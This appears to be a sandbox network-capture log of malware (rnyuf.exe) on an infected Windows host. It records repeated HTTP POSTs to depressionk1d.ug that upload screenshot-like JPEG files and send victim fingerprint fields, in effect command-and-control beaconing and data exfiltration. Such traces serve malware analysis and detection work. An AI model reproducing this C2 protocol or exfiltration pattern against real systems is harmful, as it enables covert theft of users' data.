39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:06.754216909 CET	1041	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->
Nov 12, 2021 22:23:06.790941000 CET	1041	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:06.791172028 CET	1041	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:06.791368961 CET	1051	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:06.791465998 CET	1054	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:06.813813925 CET	1065	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:06.813874006 CET	1075	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:06.813898087 CET	1081	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:06.836441994 CET	1091	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:06.836507082 CET	1102	OUT	Data Raw: a4 20 a2 92 8a 00 70 3c 62 83 48 3a d2 9a 77 01 28 a5 e9 45 00 02 96 92 96 81 31 69 28 a2 98 87 0a 5a 41 4b 4c 1e e1 4b 8a 4a 5a 62 02 29 3b d2 d2 1a 00 05 38 50 28 a0 40 29 c2 9a 69 45 50 98 ea 28 a5 1d 69 88 51 4a 28 14 b4 d1 22 af a5 29 18 a4 Data Ascii: p<bH:w(E1i(ZAKLKJZb);8P(@)iEP(iQJ(")ykbDE XC8SH,()Bbu'Zx6\bLB)vRBQIR`$xQjRZh+Tbc\|LQVfKLRF(xN)Mpd=))H(
Nov 12, 2021 22:23:06.836538076 CET	1112	OUT	Data Raw: a8 66 88 72 f5 a7 e6 9a 29 d5 0c d1 0f 53 c5 79 17 c4 f0 16 f2 c7 1f f3 cd ff 00 f4 2a f5 b1 d4 d7 91 fc 4e 3f e9 d6 3f f5 c9 bf f4 2a d2 87 c4 45 53 c7 5a 35 63 92 29 04 29 e9 52 62 94 57 2f 2a 3d 2e 66 33 ca 5e 3d a9 db 17 76 71 cd 2d 19 a7 64 Data Ascii: fr)SyN??ESZ5c))RbW/=.f3^=vq-dbhN!] @7n4Z9P(t0hVBJ!@sE93Ri)c<DxJ)rc1(nqO ``PFFHD~D#KIF=*c4yIOvBx
Nov 12, 2021 22:23:06.836605072 CET	1118	OUT	Data Raw: 6a 64 f3 0c c5 2e 2a 50 86 94 25 04 f3 11 81 4f 02 9e 14 53 c0 5a 64 b9 11 85 a7 84 a7 82 a3 bd 1e 6a 0f e2 14 10 db 62 04 a7 04 a6 9b 98 87 f1 52 7d b6 31 d3 9a 77 42 e5 9b e8 4c 12 94 25 56 37 cb d8 53 7e da 4f 41 45 c3 d9 cc bd b7 14 a0 56 7f Data Ascii: jd.*P%OSZdjbR}1wBL%V7S~OAEVD+RQVW1=w}ExURQa{"h[sFM7w9J~7xqBhh$\kc%5X5.w/YsFr-IM}b]\G
Nov 12, 2021 22:23:06.884496927 CET	1148	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:06 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49802	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:19.559016943 CET	2541	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:19.559117079 CET	2542	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:19.559290886 CET	2552	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:19.559438944 CET	2554	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:19.581780910 CET	2560	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:19.581830978 CET	2563	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:19.581845045 CET	2566	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:19.581852913 CET	2568	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:19.581862926 CET	2574	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:19.581887960 CET	2575	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:19.581924915 CET	2578	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:19.653569937 CET	2651	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:19 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.4	49988	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:59.481609106 CET	9037	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:59.506922007 CET	9037	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.4	49990	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:59.636147022 CET	9046	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:59.662151098 CET	9055	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.4	49991	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:59.793643951 CET	9110	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:59.819433928 CET	9120	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.4	49992	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:59.949820042 CET	9121	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:59.975209951 CET	9122	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.4	49994	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:00.106127024 CET	9128	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:00.132323027 CET	9129	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.4	49997	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:00.269897938 CET	9173	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:00.298943043 CET	9174	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:24:00.300745010 CET	9175	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----35cdb41c8aae8e685df6a1946f054310 Host: depressionk1d.ug Content-Length: 111710 Cache-Control: no-cache
Nov 12, 2021 22:24:00.300941944 CET	9175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 35 63 64 62 34 31 63 38 61 61 65 38 65 36 38 35 64 66 36 61 31 39 34 36 66 30 35 34 33 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------35cdb41c8aae8e685df6a1946f054310Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:00.301208973 CET	9185	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:00.301364899 CET	9188	OUT	Data Raw: de fb bf f3 b8 b4 51 45 6c 64 14 51 4b 40 09 45 29 a4 a0 04 34 0a 5a 28 18 52 d2 52 d0 20 a4 a5 a3 19 a6 02 51 4b 8a 31 4a c0 25 14 b8 a4 a0 02 8a 28 a0 7a 85 14 51 40 82 8a 28 a0 02 8a 28 a0 02 8a 29 79 a0 03 9a 28 e6 8a 60 14 51 45 02 0a 28 14 Data Ascii: QEldQK@E)4Z(RR QK1J%(zQ@(()y(`QE(+g%DA5YJ>]j'#(i;;0nP{r8-T?>?ESb(b(OSNSN
